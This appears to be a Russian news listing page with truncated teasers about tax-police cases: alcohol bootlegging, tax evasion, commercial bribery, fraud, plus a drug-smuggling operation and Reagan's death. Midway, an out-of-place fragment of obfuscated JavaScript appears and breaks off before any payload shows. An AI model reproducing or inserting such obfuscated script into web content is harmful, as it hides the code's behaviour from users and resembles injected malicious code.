Новости
Кузнецов Андрей
Подводятся итоги второго этапа операции "Канал-2004", целью которой является предотвращение
Подводятся итоги второго этапа операции "Канал-2004", целью которой является предотвращение контрабанды наркотиков на территории государств, входящих в Договор о коллективной безопасности (ОДКБ), - России, Армении, Белоруссии, Казахстана, Киргизии и Таджикистана.
Всего за несколько дней благодаря тесному взаимодействию сотрудников спецслужб, пограничников и таможенников из незаконного оборота изъято более 550 кг наркотиков, возбуждено 859 уголовных дел, раскрыто более 2000 преступлений. Кроме того, конфисковано свыше 30 единиц огнестрельного оружия, материальных ценностей на общую сумму около 50 тысяч долларов США. К уголовной ответственности...
По всей Америке приспущены флаги: в субботу умер 40-й президент США Рональд Рейган, которого называют крупнейшим государственным деятелем после Ф.Д. Рузвельта. Ему было 93 года.
Последнее десятилетие он не появлялся на людях. Жена Нэнси, которая всегда оберегала его имидж, хотела, чтобы он остался в памяти соотечественников таким, каким они его знали, - улыбчивым и всегда готовым на шутку. А у него была болезнь Альцгеймера, он находился, по ее словам, "там, где я уже не могла быть с ним рядом".
Со всего света, от всех глав государств и правительств идут соболезнования. А здешние политики, забыв о партийной принадлежности, воздают хвалу покойному Гипперу, как его прозвали, за прямоту и честность, за его ораторское искусство, за все, что он сделал для страны и для мира. Усомниться в этом было бы для политика небезопасно,...
Оперативный сотрудник межрайонного отдела УФСНП по Тульской области Олег Ю-в пришел служить в
Оперативный сотрудник межрайонного отдела УФСНП по Тульской области Олег Ю-в пришел служить в налоговую полицию два года назад. И уже через год в отдел собственной безопасности управления поступила информация, что новичок нечист на руку.
Участвуя в рейдах по проверке финансово-хозяйственной деятельности магазинов города Алексина лейтенант налоговой полиции при обнаружении серьезных нарушений предлагал хозяевам сделку: за определенное вознаграждение он уменьшал сумму штрафа в протоколе, вписывая туда незначительные грешки.
Менее года назад один предприниматель "отблагодарил" проверяющего стройматериалами и джин-тоником, на продажу которого,...
В Уголовном кодексе с 1996 года появился абсолютно новый для России состав преступления -
В Уголовном кодексе с 1996 года появился абсолютно новый для России состав преступления - "коммерческий подкуп". По сути, это та же взятка, только получаемая не "государевым" человеком, а управленцем от коммерции. До поры до времени эта статья кодекса практически не применялась. И вот впервые в Челябинской области за совершение такого преступления осуждена руководитель ООО "Уралочка" из Верхнего Уфалея.
Руководимое Татьяной Колбиной предприятие имеет на правах собственности магазин, расположенный в самом центре города. Это позволило ей диктовать свои условия потенциальным клиентам. Прежде чем сдать торговые площади в аренду, она обговаривала...
Прекратила свое существование свободная экономическая зона (СЭЗ) "Алтай", включавшая Немецкий и
Прекратила свое существование свободная экономическая зона (СЭЗ) "Алтай", включавшая Немецкий и Первомайский районы Алтайского края, а также аэропорт Барнаула. Соответствующее постановление принял краевой Совет народных депутатов на основании решения Алтайского краевого суда.
Существенную роль при этом сыграли материалы, представленные в прокуратуру органами налоговой полиции региона. Там, где возникает возможность уменьшить налоговый пресс, всегда появляются умельцы нагреть на этом руки. Только за три года по причине выявленных нарушений статуса участника СЭЗ были лишены 440 предприятий. Более 200 из них вообще не представляли отчетность...
УФСНП по Свердловской области возбудило уголовное дело в отношении директора АО "Уралнефть"
УФСНП по Свердловской области возбудило уголовное дело в отношении директора АО "Уралнефть" Михайличенко. Он обвинялся в уклонении как от уплаты платежей за пользование недрами, так и отчислений на восстановление минерально-сырьевой базы. Предприятие наряду с геологоразведочными работами в Красноуфимском районе активно осуществляло добычу нефти и ее реализацию в Свердловской, Тюменской и Пермской областях. За четыре года "Уралнефь" реализовала тысячи кубометров нефти. А вот в инспекцию МНС шла совершенно другая отчетность: цифры или изрядно занижались, или вовсе отсутствовали.
В ходе следствия директор выплатил сумму нанесенного государству...
К астраханским налоговым полицейским поступила оперативная информация, что в город со стороны
К астраханским налоговым полицейским поступила оперативная информация, что в город со стороны Северной Осетии регулярно поставляются крупные партии неучтенного спирта. Нелегальный спирт затем разбавлялся порой до 30-градусной крепости и продавался на рынке, а то и прямо в квартирах под видом водки.
Руководство УФСНП подготовило операцию по перехвату грузовика со спиртом. Захват прошел ночью в одном из частных дворов в районе рынка. Когда подозреваемых "уложили" на землю, один из них с испугу закричал: "Только не курите, а то все взлетим на воздух!" Выяснилось, что в задержанном "КамАЗе" дельцы оборудовали тайник-бак емкостью в две тонны....
Возглавив ОАО "Тульский хлебокомбинат", Ирина Деткова пришла к выводу, что жилищные проблемы ей
Возглавив ОАО "Тульский хлебокомбинат", Ирина Деткова пришла к выводу, что жилищные проблемы ей поможет разрешить акционерное общество. Чтобы придать авантюре более привлекательную форму, она обратилась в "Спиритфонд" - организацию, занимающуюся обеспечением дополнительных выплат работникам различных предприятий, а также пенсионными надбавками. Для этого хлебокомбинат должен был лишь своевременно перечислять деньги на его расчетный счет. Этой лазейкой и воспользовалась Деткова.
Перечисляя деньги негосударственному пенсионному фонду и получая дивиденды, директриса скупала акции родного комбината и вкладывала их в покупку элитной квартиры....
Генеральный директор ОАО "Чаплыженский элеватор" (Белгородская область) Михаил Черников затеял
Генеральный директор ОАО "Чаплыженский элеватор" (Белгородская область) Михаил Черников затеял игру с государством, суть которой состояла в следующем.
Как известно, предприятиям, имеющим долги перед бюджетом, запрещено расходовать поступающие в кассу деньги до полного погашения задолженности. По состоянию на начало 1999 года задолженность ОАО по налогам и страховым взносам вылилась в кругленькую сумму. Счет предприятия был заблокирован картотекой. Чтобы обойти закон, в феврале 1999 года Черников открыл расчетный счет в дополнительном офисе "Губкинский" филиала "Московского индустриального банка".
Спустя четыре месяца директор решил подстраховаться...
Эта история началась два года назад, когда в Томской области выбирали губернатора. Налоговые
Эта история началась два года назад, когда в Томской области выбирали губернатора. Налоговые полицейские заинтересовались деятельностью 32-летнего кандидата Андрея Недоспасова, который в свободное от предвыборной борьбы время занимался частным бизнесом. Будучи руководителем строительно-монтажного кооператива "Толос", Недоспасов скупал у населения пустые бутылки, сдавал их на Томский завод пищевых продуктов, на вырученные деньги закупал алкоголь, майонез, газированные напитки. Товар продавал через свой кооператив без лицензии.
В "Толосе" царила "конспирация": не было ни бухгалтерского учета, ни вообще каких-либо документов, кроме "теневых"...
36-летний нотариус Светлана Лузгарь решила разбогатеть и с этой целью воспользовалась уловкой,
36-летний нотариус Светлана Лузгарь решила разбогатеть и с этой целью воспользовалась уловкой, известной любому налогоплательщику, хотя бы однажды читавшему Закон "О подоходном налоге с физических лиц". Например, когда гражданин покупает квартиру, то за уплаченную за нее сумму ему полагается налоговая льгота...
Как только очередной календарный год близился к концу и наступала пора подавать налоговую декларацию, Светлана Ивановна "покупала" квартиру. Затем шла в налоговую инспекцию и требовала полагающуюся ей льготу. В первый раз она якобы приобрела жилье за 100 тысяч рублей, хотя на деле просто поменяла одну квартиру на другую. На этой...
Семь лет лишения свободы - такой срок получил предприниматель из приморского города
Семь лет лишения свободы - такой срок получил предприниматель из приморского города Лесозаводска Игорь Онянов за нарушение норм налогового законодательства.
Впервые в поле зрения органов налоговой полиции Онянов попал еще в середине 90-х. Тогда он занимался реализацией по фиктивным документам просроченных консервов и других продуктов питания. Ни о какой регистрации в налоговых органах речи и не шло. Чуть позже Игорь стал возить в родной город хлеб из Дальнереченска, который получал под реализацию по чужому паспорту. Тогда же межрайонным отделом налоговой полиции было возбуждено уголовное дело. От наказания спасла амнистия.
Отделавшись...
Николай Конев приобрел автостоянку в одном из самых оживленных районов Курска. Фирма "Аглер",
Николай Конев приобрел автостоянку в одном из самых оживленных районов Курска. Фирма "Аглер", которая и передала предпринимателю автостоянку, запросила за нее 412 тысяч рублей. За время владения столь дорогостоящим и хлопотным объектом г-н Конев успел вернуть кредиторам меньше половины. И вдруг спустя несколько месяцев "стоянкодержатель" от своих первоначальных намерений по развитию собственного дела отказывается. Он перепродает ее представителям курской фирмы "Курскдорснаб", но уже по цене 840 тысяч рублей.
Последние в течение нескольких месяцев рассчитывались с предпринимателем. Как наличными, так и векселями Сбербанка. В результате...
Про эту аферу в Мурманске будут помнить долго. Мало кому известное ТОО "Полярная сова" объявило
Про эту аферу в Мурманске будут помнить долго. Мало кому известное ТОО "Полярная сова" объявило о наборе моряков. В успешно проведенной рекламной кампании обычному матросу обещали оклад от 900 до 1854 долларов в месяц. В "Сову" выстроилась огромная очередь.
За помощь в трудоустройстве товарищество брало с кандидатов 200 долларов. Руководитель ТОО Алексей Завгородний обещал, что вскоре они улетят в Мавританию на заработки. А потом он исчез. Напугали директора не разгоряченные клиенты, а внимание налоговых органов. Завгородний "забыл" заплатить налоги с прибыли на 127 миллионов неденоминированных рублей.
Его объявили в федеральный, а затем...
Обратная дорога может испортить любой, даже самый приятный отдых. Особенно, если лететь домой
Обратная дорога может испортить любой, даже самый приятный отдых. Особенно, если лететь домой чартерным рейсом. Да, что касается денег, то чартер дешевле, чем билет на регулярный рейс. Но если вы рассчитываете сэкономить, то приготовьтесь к нервотрепке, ночевкам в аэропорту и скандалам с авиакомпанией. Во всяком случае нас, 150 пассажиров, купивших билеты на чартерный рейс из Кипра, авиакомпания "Оренбургские авиалинии" просто бросила в Ларнаке. Оказалось, что самолет был в неисправном состоянии, а представители авиакомпании стали настаивать на том, чтобы мы летели обратно именно этим бортом!
Но почему-то власти Кипра вообще запретили...
В свое время Игорь Балуев работал мастером по установке стеклопакетов в ЗАО
В свое время Игорь Балуев работал мастером по установке стеклопакетов в ЗАО "Бамостройматериалы". Уволившись, он самостоятельно занялся знакомым делом - поставкой и монтажом окон и дверей. Бизнес пошел неплохо. Основным заказчиком стало подмосковное ОАО "Клинский хлебокомбинат".
Получив от хлебокомбината необходимые замеры, он договорился об изготовлении 12 пластиковых окон и 2 дверей на Рождественском рынке стройматериалов. Как потом рассказал Балуев следователям налоговой полиции Солнечногорского района, на рынке ему дали сопроводительные документы от ООО "Диана" и доверенность на получение денег на Клинском хлебокомбинате. По доверенности...
В декабре 1997 года мурманчанка Татьяна Черская учредила ООО "Сантехдор" и стала его
В декабре 1997 года мурманчанка Татьяна Черская учредила ООО "Сантехдор" и стала его директором. Согласно уставу, новорожденное общество планировало выполнять строительно-монтажные, дорожные и сантехнические работы. Выправили себе и лицензию. Фальшивую.
И работа ООО "Сантехдор" закипела. Причем взоры госпожи Черской оказались прикованы к Краснознаменному Северному Флоту. Объяснялось это просто: отделением инженерно-морской службы N 1967, регулярно предоставлявшим заказы "Сантехдору", руководил родной брат мужа Черской. Как не порадеть родному человеку? Всего за время незаконной деятельности ООО семейный дуэт сумел получить заказов на...
Фирма "Орикон", которой руководит Галина Кривошеина, ранее специализировалась на
Фирма "Орикон", которой руководит Галина Кривошеина, ранее специализировалась на торгово-закупочной и посреднической деятельности. Со временем это ООО переключилось на ремонтно-строительные работы, в связи с чем и заключило соответствующий договор с Владимиро-Суздальским музеем-заповедником. Музей действительно давно требовал капитального ремонта, но там и не подозревали, что "Орикон" не имел специального разрешения на оказание такого вида услуг.
Налоговые полицейские прознали про нарушение довольно быстро. Однако Галина Дмитриевна уверяла их, что необходимая бумага у нее есть. И даже со временем предоставила документ - якобы из Министерства...
Фирма "Имат", зарегистрированная Николаем Ушаковым в Курчатове, долгое время ничем особым себя
Фирма "Имат", зарегистрированная Николаем Ушаковым в Курчатове, долгое время ничем особым себя не проявляла. Тихую жизнь кардинально изменили знакомые Ушакова - Борис Мальке и Владимир Замкин. Оформившись на работу в фирму исполнительным и коммерческим директорами соответственно, они и взяли на себя роль "первых скрипок". Им теперь предоставлялось право ведения переговоров и ведения документации. Ушаков же ограничился процентом сделок. Во всяком случае, так ему пообещали.
Долгое время новоявленные компаньоны лишь разводили руками: нет, дескать, никаких доходов - и процента тебе нет. В налоговые органы также направлялись справки об отсутствии...
Социальный статус двух приятелей - Александра Григорьева и Алексея Глинкина был приблизительно
Социальный статус двух приятелей - Александра Григорьева и Алексея Глинкина был приблизительно одинаков. Александр - сын директора ярославского завода "Красный маяк", Алексей - сын директора ТЭЦ-3. В 1999 году редкое предприятие обходилось без долговых обязательств, поэтому два отпрыска достаточно высокопоставленных родителей тогда решили поучаствовать в родительских взаимозачетах - с выгодой для себя...
Для начала они за плату заполучили печать ООО "Долинка" и уж только потом приобрели на 500 тысяч рублей на "Красном маяке" ликвидный товар. Его охотно взяла, причем со стопроцентной накруткой, фирма ТДИ. Таким незамысловатым способом...
В двух шагах от здания УФСНП торговал суррогатной водкой некий Гасан Гаджиев. Все подходы к его
В двух шагах от здания УФСНП торговал суррогатной водкой некий Гасан Гаджиев. Все подходы к его дому были аккуратно посыпаны песком и вели к заветному для страждущих окошку, где висела картонка с надписью "Бутылка - 20 рублей". Сделав "контрольную закупку", полицейский вошел в квартиру бутлегера. На кухне стояли три десятилитровые канистры, более чем на треть уже опустошенные. Рядом была выставлена тара - от "чекушек" до полуторалитровых пластмассовых баллонов из-под "Пепси-Колы".
Самое забавное, что в качестве оправдания продавец предъявил проверявшему пачку штрафных талонов, периодически выписываемых ему местными органами милиции за...
Во Владимирской области налоговые полицейские проверили 311 хозяйствующих субъектов,
Во Владимирской области налоговые полицейские проверили 311 хозяйствующих субъектов, осуществляющих торговлю сигаретами и прочими табачными изделиями. Выявлено 70 правонарушений административного характера. Возбуждено одно уголовное дело по факту уклонения от уплаты налога с продаж при реализации алкогольной и табачной продукции.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const...
Только за последнее время сотрудниками налоговой полиции на территории Благодарненского и
Только за последнее время сотрудниками налоговой полиции на территории Благодарненского и Туркменского районов изъято более 21 тонны спирта и 100 тонн фальсифицированной, безакцизной водки. На изъятую продукцию, конечно, никаких оправдательных документов у алкодельцов на руках не имелось. Естественно, они "не знали", что надо иметь лицензию, уплачивать акцизы и иметь необходимые сертификаты качества, прежде чем заниматься этим видом деятельности.
Сотрудниками Ипатовского межрайонного отдела налоговой полиции пресечен факт незаконного производства водки жителем села Красногвардейское Соболевым. При этом изъято 11 ящиков фальсифицированной...
В 1994 году в заполярный край пришел "Русский дом страхования" (РДС). Зарегистрировавшись,
В 1994 году в заполярный край пришел "Русский дом страхования" (РДС). Зарегистрировавшись, страховщики стали предоставлять свои услуги гражданам, и организациям.
Черная полоса для "РДС" началась в 1996 году - Мурманский филиал лишился своего офиса. А в ноябре "Русский дом страхования" за долги вообще выселили из помещения. Управляющий фондом господин Руссиян упаковал чемоданы и убыл в Волгоград, где располагался головной офис фирмы. 16 мая 1997 года деятельность "РДС" была приостановлена, а 6 января 1998 года Министерство финансов отозвало лицензию на осуществление страховой деятельности. Все печати, штампы и чековые книжки оказались...
Очередного подпольного изготовителя фальшивой водки задержали налоговые полицейские Кызыла.
Очередного подпольного изготовителя фальшивой водки задержали налоговые полицейские Кызыла.
Операция началась с контрольной закупки. Хозяин "нехорошей" квартиры продал 10 литров спирта за 650 рублей, но закрыть за собой дверь не успел - ему помешали сотрудники физической защиты УФСНП по Республике Тыва. В коридоре на полу они нашли канистру, наполненную "огненной водой". А в стенном шкафу были припрятаны 100-литровая пластмассовая бочка и мерные емкости.
"Спиртоделец" занимался своим прибыльным делом не один, а со своим земляком, неким г-ном С., который в тот же день и нарвался на засаду полицейских. Далеко уйти ему не дали. В брошенной...
Характерным примером пресеченной попытки воспользоваться бюджетными деньгами стала недавняя
Характерным примером пресеченной попытки воспользоваться бюджетными деньгами стала недавняя проверка волгоградскими налоговыми полицейскими ОАО "Волгограднефтемаш".
Предприятие с целью экономии собственных денежных средств произвело зачет налогов в федеральный бюджет в январе 1999 года. Закон позволяет это делать, но только в случае, если до зачета бюджет должен предприятию за поставки или выполненные работы. Предприятие поступило иначе, оформив фиктивные акты сверки о якобы выполненных работах для бюджетного учреждения за 1997-1998 годы. Было установлено, что договоры, счета и сметы, позволяющие проведение данного зачета, были оформлены...
Сотрудники УФСНП по Новосибирской области в этом году вернули в казну уже 31 миллион рублей.
Сотрудники УФСНП по Новосибирской области в этом году вернули в казну уже 31 миллион рублей. Наибольший интерес для общественности вызвала операция по захвату курьеров, нелегально перевозивших крупные суммы денег. Она проводилась в рамках уголовного дела, возбужденного в отношении предпринимателя, занимающегося куплей-продажей импортных автомобилей.
В поле зрения налоговых полицейских попал студент одного из вузов Новосибирска, который с осени 1998 года по совместительству активно подрабатывал на рынке автопродаж. За два года студент получил солидный "левый" навар.
При осмотре задержанного автомобиля в салоне была обнаружена спортивная...
Владимир Никитин начал свою коммерческую деятельность без всяких официальных разрешений. Он
Владимир Никитин начал свою коммерческую деятельность без всяких официальных разрешений. Он просто договорился с работником московской фирмы ООО "Лукойл-резерв-инвест" Эдуардом Лебедевым о том, что берет на себя обязательство приобретать от имени ООО пакеты акций ОАО "Мариэнерго" в Йошкар-Оле. Процедура их приобретения заключалась в обычном оформлении нескольких экземпляров договоров купли-продажи ценных бумаг и заполнении передаточных распоряжений, подписанных рядовыми акционерами. Согласно устному договору в качестве покупателя выступал Лебедев, но лукойловские деньги акционерам выплачивались Никитиным. Акции же приносили люди, не...
В адрес немецкой компании, производящей оборудование для отопительных систем, пришел факс с
В адрес немецкой компании, производящей оборудование для отопительных систем, пришел факс с "шапкой" УФСНП по Калининградской области. Авторы послания крайне негативно отзывались о давнем калининградском партнере немцев и рекомендовали прекратить с ним дальнейшее сотрудничество. Однако подпись под посланием отсутствовала, что и смутило иностранцев. Через некоторое время в УФСНП пришло письмо от зарубежной компании с просьбой прояснить ситуацию: действительно ли авторы письма - полицейские.
Налоговые сыщики "вычислили" злоумышленника буквально за несколько дней. Им оказался хозяин фирмы, столь хитрым способом позаботившийся об устранении...
Сотрудники столичного управления налоговой полиции получили информацию о том, что неизвестное
Сотрудники столичного управления налоговой полиции получили информацию о том, что неизвестное лицо пытается реализовать природные драгоценные камни - изумруды и сапфиры. Отметим, что этому предшествовало многомесячное наблюдение и кропотливая оперативно-розыскная работа по установлению реальных хозяев камней, поскольку все переговоры велись через посредников.
Под видом потенциального покупателя выступил оперативник. Встречу назначили в здании "Россоюзювелирторга". Внедренному сотруднику с успехом создали имидж богатого покупателя, способного выложить за драгоценные камни около 300 тысяч долларов США. Именно столько запросил за изумруды...
